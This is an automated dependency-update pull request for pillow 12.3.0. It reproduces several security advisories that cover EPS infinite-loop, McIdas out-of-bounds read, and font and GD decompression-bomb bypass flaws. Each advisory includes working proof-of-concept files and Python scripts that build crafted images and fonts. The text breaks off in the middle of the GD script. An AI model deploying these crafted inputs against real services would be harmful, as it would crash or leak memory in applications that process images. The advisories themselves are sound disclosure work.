Update dependency pillow to v12.3.0 [SECURITY]

[renovate]

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
pillow (changelog)	==12.2.0 → ==12.3.0

---

Pillow EpsImagePlugin negative %%BeginBinary byte count causes infinite loop denial of service

CVE-2026-59203 / GHSA-pg7v-jwj7-p798

More information

Details

Summary

Pillow's EPS parser (PIL/EpsImagePlugin.py) accepts a negative byte count in the %%BeginBinary directive. A crafted EPS file can cause Image.open() to seek backwards to the same directive and parse it repeatedly, resulting in an infinite loop and CPU denial of service.

The issue is triggered during Image.open(), does not require Image.load(), and does not require Ghostscript execution.

Confirmed affected versions: Pillow 12.0.0 through 12.2.0.

Details

The issue is in the EPS parser in PIL/EpsImagePlugin.py. When parsing an EPS %%BeginBinary directive, Pillow reads the byte count from the file and passes it directly to a relative seek operation without validating that the value is non-negative.

Relevant code:

elif bytes_mv[:14] == b"%%BeginBinary:":
    bytecount = int(byte_arr[14:bytes_read])
    self.fp.seek(bytecount, os.SEEK_CUR)

There is no validation that bytecount is non-negative.

If an attacker provides a negative value such as %%BeginBinary:-18, the parser moves the file pointer backwards from the end of the directive line to the same line region. The next parser iteration reads the same %%BeginBinary:-18 directive again, performs the same backward seek, and repeats indefinitely. This causes Image.open() to hang in an infinite loop and consume CPU.

In local testing, the issue is present in Pillow 12.0.0, 12.1.0, 12.1.1, and 12.2.0. Pillow 11.3.0 did not hang with the same PoC, so this appears to affect the 12.x EPS parsing path.

PoC

Save the following content as pillow_eps_beginbinary_dos.eps:

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 1 1
%%EndComments
% dummy comment after transition
%%BeginBinary:-18
%%EOF

Then run:

python -m pip install "Pillow==12.2.0"

python - <<'PY'
from PIL import Image
Image.open("pillow_eps_beginbinary_dos.eps")
PY

Expected behavior: Pillow should reject the malformed EPS file with a parser exception.

Actual behavior: the process does not return. It hangs inside Image.open() and continuously consumes CPU.

The loop behavior can be observed by tracing the parser state. The file pointer repeatedly seeks from position 112 back to 94, causing the same %%BeginBinary:-18 line to be parsed again and again:

LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94
LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94
LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94

Impact

This is a denial-of-service vulnerability. An attacker who can provide an EPS file to an application using Pillow for image validation, metadata parsing, previews, uploads, or batch image processing can cause the image parsing process to hang during Image.open().

This can impact web services and backend workers that parse untrusted image files, especially if image parsing is performed in a main worker process without CPU limits, timeouts, or process isolation. The issue does not require Ghostscript execution and does not require calling Image.load(), so applications that only use Image.open() to validate or identify uploaded images may still be affected.

Suggested fix: validate the parsed %%BeginBinary byte count before seeking. If the byte count is negative, reject the file with a parsing exception instead of calling self.fp.seek(bytecount, os.SEEK_CUR).

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

• https://github.com/python-pillow/Pillow/security/advisories/GHSA-pg7v-jwj7-p798
• https://nvd.nist.gov/vuln/detail/CVE-2026-59203
• https://github.com/python-pillow/Pillow/pull/9708
• https://github.com/python-pillow/Pillow/commit/03992618118b4a76b6163cd72ab5ecd684133b83
• https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3452.yaml
• https://github.com/python-pillow/Pillow/releases/tag/12.3.0
• https://github.com/advisories/GHSA-pg7v-jwj7-p798

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files)

CVE-2026-54058 / GHSA-62p4-gmf7-7g93

More information

Details

Summary

When Pillow loads an uncompressed image whose tile uses the raw codec and a mode in Image._MAPMODES, and the image was opened from a filename, it memory-maps the file and builds the image's row pointers directly into the mapping via PyImaging_MapBuffer (src/map.c). The per-row spacing (stride) is taken from the tile arguments. map.c validates offset + ysize*stride <= buffer_len but never checks that stride is at least the natural row width xsize * pixelsize.

The McIdas AREA plugin (McIdasImagePlugin.py) derives stride, offset, xsize, and ysize directly from attacker-controlled 32-bit header words with no validation. By supplying a stride far smaller than the row width, an attacker makes each row pointer read xsize*pixelsize bytes that run past the mapped region. Accessing the pixels (e.g. Image.tobytes(),
getpixel, convert, save) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service).

Complete Code Trace

Step 1: McIdasImageFile._open - turns attacker header words into image size, file offset, and row stride with no validation.

##### src/PIL/McIdasImagePlugin.py:41-70
s = self.fp.read(256)
if not _accept(s) or len(s) != 256:        # _accept: prefix == b"\x00\x00\x00\x00\x00\x00\x00\x04"
    raise SyntaxError(...)
self.area_descriptor = w = [0, *struct.unpack("!64i", s)]   # w[1..64] = signed BE int32, ALL attacker-controlled

if w[11] == 1:
    mode = rawmode = "L"                    # pixelsize 1, in _MAPMODES
elif w[11] == 2:
    mode = rawmode = "I;16B"                # pixelsize 2, in _MAPMODES
...
self._mode = mode
self._size = w[10], w[9]                    # (xsize, ysize)  <-- attacker
offset = w[34] + w[15]                       # <-- attacker
stride = w[15] + w[10] * w[11] * w[14]       # <-- attacker (set w[14]=0, w[15]=1 => stride=1)
self.tile = [
    ImageFile._Tile("raw", (0, 0) + self.size, offset, (rawmode, stride, 1))
]

Step 2: ImageFile.load (mmap branch) - selects mmap and delegates to map_buffer.

##### src/PIL/ImageFile.py:322-348
if use_mmap:                                 # use_mmap = self.filename and len(self.tile) == 1
    decoder_name, extents, offset, args = self.tile[0]
    if (decoder_name == "raw" and isinstance(args, tuple) and len(args) >= 3
            and args[0] == self.mode and args[0] in Image._MAPMODES):
        if offset < 0:                       # only lower-bound guard on offset
            raise ValueError("Tile offset cannot be negative")
        with open(self.filename) as fp:
            self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ)
        if offset + self.size[1] * args[1] > self.map.size():   # == offset + ysize*stride; NO stride>=linesize check
            raise OSError("buffer is not large enough")
        self.im = Image.core.map_buffer(
            self.map, self.size, decoder_name, offset, args      # args = ("L", stride, 1)
        )

Step 3: PyImaging_MapBuffer - builds row pointers at stride spacing into the mmap; validates everything except stride >= row width.

/* src/map.c:65-140 */
if (!PyArg_ParseTuple(args, "O(ii)sn(sii)",
        &target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep))
    return NULL;
...
const ModeID mode = findModeID(mode_name);          /* "L" */

if (stride <= 0) {                                  /* attacker sets stride=1 (>0) -> NOT recomputed */
    if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize;
    else if (isModeI16(mode)) stride = xsize * 2;
    else stride = xsize * 4;
}

if (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/* overflow guard only */
    PyErr_SetString(PyExc_MemoryError, "Integer overflow in ysize"); return NULL;
}
size = (Py_ssize_t)ysize * stride;                  /* = 1*1 = 1 */

if (offset > PY_SSIZE_T_MAX - size) { ... }
...
if (offset + size > view.len) {                     /* 1 + 1 = 2 <= 256 -> PASSES */
    PyErr_SetString(PyExc_ValueError, "buffer is not large enough");
    PyBuffer_Release(&view); return NULL;
}

im = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance));
/* im->linesize = xsize * pixelsize = 200000  (the REAL per-row read width) */

/* setup file pointers -- NO check that stride >= im->linesize */
if (ystep > 0) {
    for (y = 0; y < ysize; y++) {
        im->image[y] = (char *)view.buf + offset + y * stride;   /* row points into mmap, spacing=1 */
    }
} else { ... }

im->linesize (the number of bytes any consumer reads per row) is xsize * pixelsize = 200000, but the row pointers are only stride = 1 byte apart and the buffer is only offset + ysize*stride = 2 bytes "claimed". Nothing reconciles the two.

Step 4: pixel access (Image.tobytes() → raw encoder copy1) - reads linesize bytes from im->image[0], i.e. xsize bytes starting at view.buf + offset, running far past the mmap.

/* the raw "L" packer copies linesize (=xsize) bytes per row from im->image[y];
   for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */

Chain Summary

SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34]  (Image.open on a path)
  ↓ McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14]  -> attacker sets stride=1   [McIdasImagePlugin.py:66]
  ↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1))                                     [McIdasImagePlugin.py:68]
GADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride<=len  <- BUG: no stride>=linesize check  [ImageFile.py:343]
  ↓ core.map_buffer(map, (xsize,1), "raw", offset, ("L",1,1))                              [ImageFile.py:346]
SINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0*stride; linesize=xsize   [map.c:134]
  ↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from im->image[0]
IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS)

Proof of Concept

See attached poc.zip

Impact on a Parent Application

Any application that opens image files supplied by users from a path on disk (the common pattern: save upload to a temp file, then Image.open(path)), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed:

• Information disclosure (High): the decoded "image" contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data.
• Denial of service (High): a larger xsize reliably crashes the worker with SIGBUS.

Suggested fix

Core fix in src/map.c (PyImaging_MapBuffer): reject offset < 0 and stride < im->linesize. Defense-in-depth in McIdasImagePlugin._open: reject offset < 0 or stride < xsize*pixelsize .

Severity

• CVSS Score: 8.3 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N

References

• https://github.com/python-pillow/Pillow/security/advisories/GHSA-62p4-gmf7-7g93
• https://nvd.nist.gov/vuln/detail/CVE-2026-54058
• https://github.com/python-pillow/Pillow/pull/9719
• https://github.com/python-pillow/Pillow/commit/6a8de891fb00968e5ea79bfa84368ed90b3cfc1d
• https://github.com/python-pillow/Pillow/releases/tag/12.3.0
• https://github.com/advisories/GHSA-62p4-gmf7-7g93

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Pillow PcfFontFile._load_bitmaps(): Image.frombytes() called without _decompression_bomb_check() — bomb protection bypass via PCF font loading

CVE-2026-54059 / GHSA-8v84-f9pq-wr9x

More information

Details

Description

PIL/PcfFontFile.py _load_bitmaps() (line 227) reads glyph dimensions from the PCF METRICS section and passes them directly to Image.frombytes() without calling Image._decompression_bomb_check(). Dimensions originate from unsigned 16-bit values:

xsize = right - left          (max: 65535 − 0 = 65535)
ysize = ascent + descent      (max: 65535 + 65535 = 131070)

Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels — 48× the DecompressionBombError threshold.

Vulnerable code (PIL/PcfFontFile.py line 224–227):

for i in range(nbitmaps):
    xsize, ysize = metrics[i][:2]    # from PCF METRICS — attacker-controlled
    b, e = offsets[i : i + 2]
    bitmaps.append(
        Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize))
        # ↑ NO _decompression_bomb_check()!
    )

Image.frombytes() calls Image.new() first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths:

• Persistent attack: Provide matching bitmap data → frombytes() succeeds → image stored in font.glyph[ch] permanently
• Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data → Image.new() allocates the full buffer → ValueError → buffer freed → but the spike occurs before Python can respond

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation"""
import io, struct, tracemalloc, warnings
warnings.filterwarnings("ignore")

from PIL.PcfFontFile import PcfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError

W, H = 14000, 14000   # 196M pixels → above DecompressionBombError threshold

##### Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
    _decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
    print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")

##### PCF binary constants
PCF_MAGIC    = 0x70636601
PCF_PROPS    = 1 << 0
PCF_METRICS  = 1 << 2
PCF_BITMAPS  = 1 << 3
PCF_ENCODINGS= 1 << 5

def build_bomb_pcf(xsize, ysize):
    # Properties: empty
    props = struct.pack("<III", 0, 0, 0)

    # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent
    metrics = struct.pack("<II", 0, 1)
    metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)

    # Bitmaps: 1 glyph, empty data (transient attack)
    bitmaps = struct.pack("<II", 0, 1)
    bitmaps += struct.pack("<I", 0)              # offset[0] = 0
    bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0

    # Encodings: char 0x41 ('A') → glyph 0
    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62
    encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)
    encodings += struct.pack("<" + "H"*128, *enc_offsets)

    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),
            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]
    hdr_size = 4 + 4 + len(secs) * 16
    out = struct.pack("<II", PCF_MAGIC, len(secs))
    offset = hdr_size
    for stype, sdata in secs:
        out += struct.pack("<IIII", stype, 0, len(sdata), offset)
        offset += len(sdata)
    for _, sdata in secs:
        out += sdata
    return out

pcf = build_bomb_pcf(W, H)
print(f"[*] PCF file size  : {len(pcf)} bytes")
print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")

tracemalloc.start()
try:
    font = PcfFontFile(io.BytesIO(pcf))
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB")
except Exception as e:
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation")
    print(f"    Heap peak: {peak/1024**2:.2f} MB")
    print(f"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception")

Expected output:

[Image.open() path] BLOCKED by DecompressionBombError
[*] PCF file size  : 148 bytes
[*] Glyph size     : 14000 x 14000 = 196,000,000 pixels
[*] C-heap target  : 23 MB  (mode '1' = 1 bit/pixel)
[!] CONFIRMED (transient): ValueError after allocation
    C-heap allocation of ~23 MB occurred before exception

Amplification table:

PCF file	Glyph dims	C-heap (mode '1')	Bomb check
148 bytes	14000 × 14000	23 MB (transient)	Bypassed
148 bytes	65535 × 131070	1.07 GB (transient)	Bypassed
~512 MB	65535 × 131070	1.07 GB (persistent)	Bypassed

Impact

• Availability: HIGH — up to 1.07 GB per glyph, no limit per font file
• Confidentiality: None
• Integrity: None
• Any service loading PCF fonts from untrusted sources (e.g., PcfFontFile(fp)) is affected
• PcfFontFile is never loaded via Image.open(), so the bomb check protection is completely absent from the entire PCF font loading path
• Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-07

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x
• https://nvd.nist.gov/vuln/detail/CVE-2026-54059
• https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d
• https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml
• https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst
• https://github.com/advisories/GHSA-8v84-f9pq-wr9x

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Pillow: FontFile.compile(): Image.new() called without _decompression_bomb_check()

CVE-2026-54060 / GHSA-5x94-69rx-g8h2

More information

Details

Description

PIL/FontFile.py FontFile.compile() assembles per-glyph images into a single combined bitmap using Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(). This is the base-class method shared by both BdfFontFile and PcfFontFile, and it is triggered whenever a loaded font is converted to an ImageFont or saved.

Neither BdfFontFile.BdfFontFile(fp) nor PcfFontFile.PcfFontFile(fp) is registered with Image.register_open(), so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check.

Vulnerable code (PIL/FontFile.py lines ~64–92):

def compile(self) -> None:
    if self.bitmap:
        return

    h = w = maxwidth = 0
    lines = 1
    for glyph in self.glyph:              # up to 256 glyph slots
        if glyph:
            d, dst, src, im = glyph
            h = max(h, src[3] - src[1])   # max glyph height — attacker-controlled
            w = w + (src[2] - src[0])
            if w > WIDTH:                  # WIDTH = 800
                lines += 1
                w = src[2] - src[0]
            maxwidth = max(maxwidth, w)

    xsize = maxwidth                       # ≤ 800 (capped by WIDTH constant)
    ysize = lines * h                      # ← lines(256) × h(65535) = 16,776,960

    if xsize == 0 and ysize == 0:
        return

    self.ysize = h
    # NO _decompression_bomb_check() here ←
    self.bitmap = Image.new("1", (xsize, ysize))   # ← unchecked allocation

"Slow accumulation" attack — per-glyph dimensions stay BELOW warning threshold:

Metric	Per-glyph (800 × 875)	Combined bitmap (256 glyphs)
Pixel count	700,000	179,200,000
DecompressionBombWarning threshold (89.4M)	0.008× — no warning	2.0× — above warning
DecompressionBombError threshold (178.9M)	0.004× — no error	1.001× — above error

With PCF-maximum glyph height (65,535):

Metric	Value
lines	256 (one per glyph slot, width=800 forces a wrap every glyph)
h (max glyph height)	65,535
xsize	800
ysize = lines × h	256 × 65,535 = 16,776,960
Total pixels	800 × 16,776,960 = 13,421,568,000
Ratio vs. DecompressionBombError threshold	75×
Memory (mode "1", 1 bit/pixel)	~1.6 GB

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""
PoC: FontFile.compile() bomb bypass
256 glyphs at 800x875 each (individually below warning threshold)
→ compile() creates 800x224000 = 179.2M px bitmap with NO bomb check
"""
from PIL import FontFile, Image

MAX_GLYPHS = 256
GLYPH_W    = 800
GLYPH_H    = 875     # individual: 700K px — below 89.4M warning threshold

class MockFont(FontFile.FontFile):
    def __init__(self):
        super().__init__()
        # Each glyph is individually safe (700K px < 89.4M warning)
        im = Image.new("1", (GLYPH_W, GLYPH_H))
        for i in range(MAX_GLYPHS):
            self.glyph[i] = (
                (GLYPH_W, GLYPH_H),
                (0, -GLYPH_H, GLYPH_W, 0),
                (0, 0,        GLYPH_W, GLYPH_H),
                im,
            )

##### Confirm bomb check WOULD catch the combined size
combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)
try:
    Image._decompression_bomb_check(combined_size)
    print("[FAIL] bomb check did not raise — unexpected")
except Image.DecompressionBombError as e:
    print(f"[OK] bomb check WOULD block {combined_size}: {e}")

##### Vulnerable path: compile() has NO bomb check
font = MockFont()
font.compile()   # → Image.new("1", (800, 224000)) — no error raised

px = font.bitmap.size[0] * font.bitmap.size[1]
threshold = Image.MAX_IMAGE_PIXELS * 2
print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}")
print(f"         pixels={px:,}  ({px/threshold:.3f}× DecompressionBombError threshold)")
print(f"         No DecompressionBombError raised at any point.")

Expected output:

[OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit
of 178956970 pixels, could be decompression bomb DOS attack.
[BYPASS] compile() succeeded: bitmap=(800, 224000)
         pixels=179,200,000  (1.001× DecompressionBombError threshold)
         No DecompressionBombError raised at any point.

Verified live on Pillow 12.2.0 — compile() succeeds with no exception.

Real-world trigger using BDF font file:

from PIL import BdfFontFile
import io

##### Load a crafted BDF font with 256 glyphs each claiming height=65535

##### (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning)
##### compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold
font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb"))
font.to_imagefont()   # → compile() → ~1.6 GB allocation, NO bomb check

Attack scenarios:

Scenario	Effect
Web font preview (BdfFontFile(upload).to_imagefont())	DoS with crafted .bdf upload
Server-side font renderer that loads PCF → to_imagefont()	OOM crash
Font pipeline: load → render text	One malicious font file kills the process

Impact

• Availability: HIGH — compile() creates a combined bitmap whose pixel count scales as WIDTH × lines × max_glyph_height with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory.
• Confidentiality: None
• Integrity: None

Affected call paths:

• BdfFontFile.BdfFontFile(fp).to_imagefont() → FontFile.compile()
• BdfFontFile.BdfFontFile(fp).save(filename) → FontFile.compile()
• PcfFontFile.PcfFontFile(fp).to_imagefont() → FontFile.compile()
• PcfFontFile.PcfFontFile(fp).save(filename) → FontFile.compile()

Neither BdfFontFile nor PcfFontFile is loaded via Image.open(), so the standard decompression bomb guard is entirely absent from the font loading code path. compile() is the only point where the combined allocation size is known, and it has no check.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2
• https://nvd.nist.gov/vuln/detail/CVE-2026-54060
• https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d
• https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2254.yaml
• https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst
• https://github.com/advisories/GHSA-5x94-69rx-g8h2

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Pillow BdfFontFile: Image.new() called without _decompression_bomb_check() — bomb protection bypass via font loading

CVE-2026-55379 / GHSA-45hq-cxwh-f6vc

More information

Details

Summary

PIL/BdfFontFile.py bdf_char() (lines 84–88) reads the BBX width height field from a BDF font file and passes the dimensions directly to Image.new() without calling Image._decompression_bomb_check(). This completely bypasses Pillow's documented decompression bomb protection.

Image.open() enforces MAX_IMAGE_PIXELS = 89,478,485 and raises DecompressionBombError for images exceeding 2 × MAX = 178,956,970 pixels. The BDF font loading path calls Image.new() directly, which only calls _check_size() (validates >= 0) — no pixel count limit.

Vulnerable code (PIL/BdfFontFile.py lines 84–88):

##### width, height from attacker-controlled "BBX width height x y" line
try:
    im = Image.frombytes("1", (width, height), bitmap, "hex", "1")
except ValueError:
    # TRIGGERED when BITMAP section is empty (zero hex lines)
    im = Image.new("1", (width, height))   # ← NO _decompression_bomb_check()!
    # ^ This image is stored in self.glyph[ch] — persists in memory

Attack trigger: A BDF glyph with BBX 20000 20000 and an empty BITMAP section causes Image.frombytes() to raise ValueError, then Image.new("1", (20000, 20000)) allocates 50 MB of C-heap silently. Image.open() would raise DecompressionBombError for the same dimensions.

Steps to reproduce

Minimal malicious BDF file (270 bytes):

STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT placeholder
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX 20000 20000 0 0
BITMAP
ENDCHAR
ENDFONT

Proof of Concept script:

#!/usr/bin/env python3
"""PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation"""
import io, warnings
warnings.filterwarnings("ignore")

from PIL.BdfFontFile import BdfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError

W, H = 20000, 20000   # 400M pixels → above DecompressionBombError threshold

##### Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
    _decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
    print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")

##### Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check
bdf = f"""STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT x
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX {W} {H} 0 0
BITMAP
ENDCHAR
ENDFONT
""".encode()

print(f"[*] BDF file size  : {len(bdf)} bytes")
print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")

BdfFontFile(io.BytesIO(bdf))   # No exception — bomb check bypassed!

print(f"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated")
print(f"    Image.open() path would have raised DecompressionBombError")

Expected output:

[Image.open() path] BLOCKED by DecompressionBombError
[*] BDF file size  : 270 bytes
[*] Glyph size     : 20000 x 20000 = 400,000,000 pixels
[*] C-heap target  : 47 MB  (mode '1' = 1 bit/pixel)
[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated
    Image.open() path would have raised DecompressionBombError

Amplified attack (multiple glyphs):
A BDF file defining 256 glyphs each at BBX 8000 8000 causes 256 × 7.6 MB = ~1.95 GB total C-heap allocation — all silently, bypassing documented bomb protection.

Impact

• Availability: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs
• Confidentiality: None
• Integrity: None
• Any service loading BDF fonts from untrusted sources (e.g., ImageFont.load("user.bdf"), BdfFontFile(fp)) is affected
• Loaded glyph images persist in self.glyph[ch] for the lifetime of the font object — memory is NOT freed until the font is garbage collected

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc
• https://nvd.nist.gov/vuln/detail/CVE-2026-55379
• https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d
• https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2255.yaml
• https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst
• https://github.com/advisories/GHSA-45hq-cxwh-f6vc

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Pillow GdImageFile._open(): image dimensions accepted without _decompression_bomb_check()

CVE-2026-55380 / GHSA-phj9-mv4w-65pm

More information

Details

Description

PIL/GdImageFile.py GdImageFile._open() reads image dimensions from the GD 2.x header and stores them in self._size without calling Image._decompression_bomb_check(). Because GdImageFile is not registered with Image.register_open(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection.

Vulnerable code (PIL/GdImageFile.py lines 50–61):

def _open(self) -> None:
    s = self.fp.read(1037)
    if i16(s) not in [65534, 65535]:
        raise SyntaxError("Not a valid GD 2.x .gd file")
    self._mode = "P"
    self._size = i16(s, 2), i16(s, 4)   # ← unsigned 16-bit; max 65535 each
    # NO _decompression_bomb_check() call here ←
    ...
    self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")]

When load() is subsequently called on the returned image object:

load() → load_prepare() → Image.core.new("P", (65535, 65535))

##### ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this

Dimension arithmetic:

Field	Value
Maximum width from header	65,535 (unsigned 16-bit)
Maximum height from header	65,535 (unsigned 16-bit)
Maximum pixel count	65,535 × 65,535 = 4,294,836,225
DecompressionBombError threshold	178,956,970 (2 × MAX_IMAGE_PIXELS)
Overshoot ratio	24× above DecompressionBombError threshold
Memory at max dimensions	≈ 4.3 GB (palette-mode: 1 byte/pixel)
Minimum attack file size	1,037 bytes (header only — no pixel data needed)

Comparison with safe sibling plugin (WalImageFile):

WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix:

##### PIL/WalImageFile.py line 46 — CORRECT pattern (already patched)
self._size = i32(header, 32), i32(header, 36)
Image._decompression_bomb_check(self.size)   # ← present

GdImageFile was never updated to match, leaving a gap in protection.

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""
PoC: GdImageFile decompression bomb bypass
1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check
"""
import io, struct
from PIL import GdImageFile, Image

##### Build minimal 1037-byte GD 2.x palette-mode header:

#####   sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)
sig          = struct.pack(">H", 0xFFFE)       # 65534 = GD 2.x magic
w            = struct.pack(">H", 65535)         # max width
h            = struct.pack(">H", 65535)         # max height
true_color   = b"\x00"                          # 0 = palette mode
tindex       = struct.pack(">I", 0xFFFFFFFF)    # > 255 = no transparency
colors_used  = b"\x00\x00"
palette_data = b"\x00" * 1024
header = sig + w + h + true_color + tindex + colors_used + palette_data
assert len(header) == 1037

##### Confirm: standard Image.open() path BLOCKS this size
try:
    Image._decompression_bomb_check((65535, 65535))
except Image.DecompressionBombError as e:
    print(f"[BLOCKED] Image.open() path: {e}")

##### Vulnerable path: GdImageFile.open() has NO bomb check
img = GdImageFile.open(io.BytesIO(header))
print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}")
print(f"         No _decompression_bomb_check called — 4.3 GB allocation not blocked")

##### Trigger load_prepare() → Image.core.new("P", (65535, 65535))
try:
    img.load()
except OSError:
